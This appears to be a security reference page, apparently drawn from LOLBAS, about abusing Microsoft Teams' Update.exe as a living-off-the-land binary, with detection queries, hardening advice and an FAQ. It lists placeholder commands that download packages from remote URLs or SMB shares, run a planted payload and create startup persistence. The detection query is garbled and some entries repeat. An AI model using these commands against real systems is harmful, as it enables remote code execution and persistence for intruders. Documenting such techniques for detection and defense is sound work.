>Update.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Default Executable Paths
C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exeIntegrity & Metadata
Documented in LOLBAS project by Oddvar Moe.
Monitor process creation events where FileName is "Update.exe" or command line references known attack arguments.
Executive Summary & AI Quick Reference
Update.exe is a native utility pre-installed on Windows systems. Threat actors and red teams abuse Update.exe as a Living-off-the-Land Binary (LOLBin) to achieve Download, Defense Evasion, Execute without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.
Weaponized Parameters & Proof-of-Concepts
Documented attack commands, parameter flags, and privilege prerequisites.
The above binary will go to url and look for RELEASES file and download the nuget package.
Update.exe --download {REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --update={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --update={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --update={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --update={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --updateRollback={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
Update.exe --updateRollback={REMOTEURL}Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --updateRollback={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Update.exe --updateRollback={PATH_SMB:folder}Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
Update.exe --createShortcut={PATH:.exe} -l=StartupRun the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
Update.exe --removeShortcut={PATH:.exe}-l=StartupSIEM & EDR Detection Rules
Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.
Telemetry & SIEM Detection Suite (Update.exe)
Validated against MITRE T1218, T1547, T10701// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Download3DeviceProcessEvents4| where FileName =~ "Update.exe"5| where ProcessCommandLine has_any ("Update")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descMitigation, Hardening & Prevention
Recommended defensive controls to block or constrain Update.exe abuse.
Enforce Windows Defender Application Control (WDAC) or AppLocker publisher rules to prevent execution outside approved enterprise administration scripts.
Enable ASR rules: Block executable content from email client and webmail and Block Office applications from creating child processes spawning Update.exe.
Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.
Frequently Asked Questions (FAQ) • Update.exe
Key operational questions and defensive answers about Update.exe LOLBin tradecraft.
What is Update.exe and why is it classified as a LOLBin?
Update.exe is a legitimate, pre-installed or trusted utility on Windows. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Download, Defense Evasion, Execute—without dropping custom malware binaries on disk.
How do threat actors abuse Update.exe in cyber intrusions?
Adversaries leverage Update.exe to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "Update.exe --download {REMOTEURL}" to achieve Download, Defense Evasion, Execute, masquerading behind legitimate system process lineage.
How can SOC analysts detect suspicious Update.exe activity?
Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning Update.exe), and unexpected network connections.
What MITRE ATT&CK techniques does Update.exe map to?
Update.exe maps to MITRE ATT&CK technique(s): T1218, T1547, T1070. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.
How can organizations mitigate and restrict Update.exe?
Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.
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